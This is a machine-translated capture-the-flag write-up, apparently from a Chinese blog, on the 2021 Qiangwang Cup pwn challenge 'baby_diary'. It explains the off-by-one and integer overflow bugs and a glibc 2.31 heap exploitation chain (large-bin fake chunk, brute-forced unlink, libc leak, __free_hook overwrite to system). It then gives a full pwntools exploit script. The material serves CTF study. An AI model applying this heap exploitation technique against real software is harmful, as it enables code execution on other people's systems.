当前位置:网站首页>Analysis of strong tennis cup 2021 PWN competition -- baby_ diary
Analysis of strong tennis cup 2021 PWN competition -- baby_ diary
2022-07-26 06:59:00 【L3H_ CoLin】
This is a classic puzzle , Can write 、 Read and delete . One of the most worthy of study is write The last function called by the function , It involves several mysterious calculations .
Step 1: Vulnerability analysis

We enter unknown_handle function ( The name is given by the author ):
There's one in the back unknown_cal function , This function performs a series of operations on the input string . First, take out the characters and put their ASCII Add up all the codes and save them to a variable a in , Then cycle through the following calculations : If a Greater than 0xF, Calculation a = (a >> 4) + (a & 0xF) until a Less than 0xF until . Back to unknown_handle Function , Here, the last bit of the string is modified . but write The function starts by asking for input size, The requested space size is size+1, This requires attention read_buf This function . When the loop exits ,i The value of should be max_len, At this time, the following buf[i]=0 In fact, it has been relative to max_len Overflow a byte . therefore unknown_handle The last statement in the function is actually relative to size Overflowed 2 Bytes . This may be modified to the next chunk Of size.

There is also an array overflow vulnerability in this problem .
Please note that read function , There is no right to index Inspection , And in the check_terminator Function , There is an integer overflow vulnerability , When index It is possible to pass the check when it is negative .

But after the array overflows , Want to make check_terminator The function returns true Not easy , Need to match the terminator ASCII code .
similarly ,delete There is also an integer overflow vulnerability in the function , But if the corresponding address is not a valid heap address , You're going to report an error , Therefore, it is not easy to use here :
Step 2: Determine how to use , Debug and write exp
Here we need to pay attention to unknown_handle Function how to overflow a byte . In the last sentence ,unknown_handle Function will only modify the lowest overflow byte 4 position , The highest 4 A constant . In heap management, under normal circumstances, all heap block sizes are integer 0x10 In the form of , That is, the size of all heap blocks is 0x10 Multiple . Therefore, only relying on one byte overflow cannot achieve the purpose of heap block overlap .
Reference here This article The idea of , utilize large bin Transit . When large bin Only one of them chunk when , Its four pointers fd、bk、fd_nextsize、bk_nextsize Yes fd=bk stay main_arena,fd_nextsize=bk_nextsize Namely chunk Oneself .
When we allocate this memory space again , We can deal with the residual 4 Pointer to rewrite , Forge it into a fake chunk, This chunk Of fd The pointer is the original fd_nextsize The pointer ,bk The pointer is the original bk_nextsize The pointer , The original bk Change the pointer to appropriate size, Ready to proceed unlink operation .unlink The key to operation is false chunk The value of the two pointers in ,fd Need equals false chunk-0x18,bk Need equals false chunk-0x10. As I said before, when large bin Only one of them chunk when , Its fd_nextsize and bk_nextsize All point to themselves , So here's bk It doesn't need to be modified , but fd Need modification . Be careful : A certain amount of blasting is needed here : Because zero bytes and flag bits will be added after writing , Therefore, blasting is needed chunk One of the addresses 8 position , The success rate is 1/256:
After the successful blasting , We'll pass unlink Stack block overlap is realized , Applying for the right size can make main_arena The address of can be used by others chunk Read .
In obtaining libc After the address , We still use the feature of stack overlap , modify tcache Point to __free_hook, Change it to system Address . Then release the stack .
It should be noted that : false chunk The head should be false chunk Should not be any other value , because unlink_chunk The one in the function fd->bk=p || bk->fd=p During this inspection p It's a pointer . So we need to find a way to make the value here false chunk The address of . As I said before , We cut large bin chunk You can get two addresses , Then we need to rewrite one of the addresses . After rewriting, we release this again chunk, Now this chunk Will enter the fastbin in , This may be on holiday chunk Write a valid address on the head . We just need to put this chunk Reassign back , Modify this address , It is possible to satisfy unlink The inspection conditions of .( Be careful : Can not let chunk Get into tcache The reason is that tcache chunk Of bk The pointer actually points to tcache That structure , So it will destroy the fake chunk Structure , Overwrite what we wrote size value , Lead to unlink Checking size Fail when )
in addition , For initial entry large bin Of chunk Size is also exquisite . Write false for the first time chunk Information , We need to write a size Value , And this size The value of will affect the last check digit . If size The value of is set incorrectly , Then the check bits calculated by the first write and the second write will be different , It is impossible to take advantage of success . Because the first write affects false chunk Of fd The pointer , The second write affects false chunk The address itself , The check bits of the two must be equal to make unlink The inspection of passed . After verification , The fake here chunk Of size Can write 0x800, But I can't write 0x700、0x600 equivalence .
exp as follows , The average blasting time is about 350 Time , This is not in line with the expectations of blasting , The reason is not clear for the time being .
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
io = process('./baby_diary')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
def write_diary(size, content):
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'content: ', content)
def read_diary(index):
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
def delete_diary(index):
io.sendlineafter(b'>> ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
flag = True
counter = 0
while(flag):
write_diary(0x1070 - 0x290 - 0x10 + 0x4000, b'\n') # chunk #0
write_diary(0x810 - 0x30 - 0x10, b'\n') # chunk #1
write_diary(0x20, b'\n') # chunk #2
delete_diary(1)
write_diary(0x800, b'\n') # chunk #1, previous chunk #1 to large bin
write_diary(0x20, p64(0x10) + p64(0x800) + b'\x68\n') # chunk #3
for i in range(3):
write_diary(0x20, b'flag\n') # chunk #4~6
write_diary(0x6B0, b'\n') # chunk #7
for i in range(3):
write_diary(0x20, b'flag\n') # chunk #8~10
for i in range(7):
write_diary(0x20, b'\n') # chunk #11~17
for i in range(7):
delete_diary(11+i) # to tcache
delete_diary(4)
delete_diary(3) # write the chunk_addr to fake chunk's header
for i in range(7):
write_diary(0x20, b'\n') # empty tcache, chunk #3, #4, #11~15
write_diary(0x20, b'\x80\n') # chunk #16, change the chunk address
delete_diary(2)
write_diary(0x27, b'\x00' * 0x27) # chunk #2, change the prev_inuse bit of chunk #1
delete_diary(2)
write_diary(0x27, b'\x00' * 0x18 + p64(8) + b'\n') # chunk #2, change the prev_size of chunk #2 to 0x500
delete_diary(1) # trigger unlink
try:
write_diary(0x40, b'deadbeef\n') # chunk #1
break
except EOFError:
io.close()
io = process('./baby_diary')
counter += 1
print(counter)
read_diary(5)
io.recvuntil(b'content: ')
__malloc_hook = u64(io.recv(6) + b'\x00\x00') - 96 - 0x10
base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
system = base + libc.symbols['system']
print(hex(__free_hook))
write_diary(0x20, b'\n')
delete_diary(12)
delete_diary(6)
write_diary(0x50, b'a' * 0x20 + p64(0) + p64(0x31) + p64(__free_hook) + b'\n')
write_diary(0x20, b'/bin/sh\n')
write_diary(0x20, p64(system) + b'\n')
delete_diary(12)
io.interactive()

边栏推荐
- How does the national standard gb28181 protocol easygbs platform realize device video recording and set streaming IP?
- 优炫数据库JDBC打开日志方式有哪些
- 二叉树知识总结
- How to realize digital production mode in garment industry
- How to use Hyper-V in win10 Home Edition
- XSS labs (1-10) break through details
- Delete ^m from VIM
- 20220725 自动控制原理中的卷积Convolution
- Huffman coding principle
- 从Architecture带你认识JVM
猜你喜欢

"Niuke | daily question" inverse Polish expression

Use and analysis of show profile optimized by MySQL

解决 Chrome 浏览器被毒霸篡改问题
![Esxi 7.0 installation supports mellanox technologies mt26448 [connectx en 10gige, PCIe 2.0 5gt/s] driver, and supports the cheapest 10GB dual fiber network card](/img/51/a5282b657b1dfed2dac476c1efee2d.png)
Esxi 7.0 installation supports mellanox technologies mt26448 [connectx en 10gige, PCIe 2.0 5gt/s] driver, and supports the cheapest 10GB dual fiber network card

Wechat applet - from entry to penetration

CS5801_HDMI转EDP优势替代LT6711A方案

mysql优化之show profile的使用及分析

The results of the soft test can be checked, and the entry to query the results of the soft test has been opened in the first half of 2022
![[untitled] reprint](/img/6c/df2ebb3e39d1e47b8dd74cfdddbb06.gif)
[untitled] reprint

Rectification ideas for the previous article
随机推荐
LTS(Light-Task-Scheduler)
Queue assistant | product update log in June 2022
[Star Project] small hat aircraft War (II)
Flame diagram analysis Flink backpressure
Manifest merger failed with multiple errors, see logs
Acwing- daily question
Database performance test (MySQL)
【QT】怎样获得QTableView和QTableWidget的行数和列数
[untitled] reprint
"Niuke | daily question" inverse Polish expression
MySQL execution plan
Kubernetes scheduling concept and workflow
Shared lock
Kernel pwn 入门 (5)
解决 Chrome 浏览器被毒霸篡改问题
「“xxxx“正在运行,可能导致系统卡顿,降低待机时间,点按关闭」处理
Development stage of source code encryption technology
PMP customs formula, don't hurry to recite it
LTS(Light-Task-Scheduler)
CS5801_HDMI转EDP优势替代LT6711A方案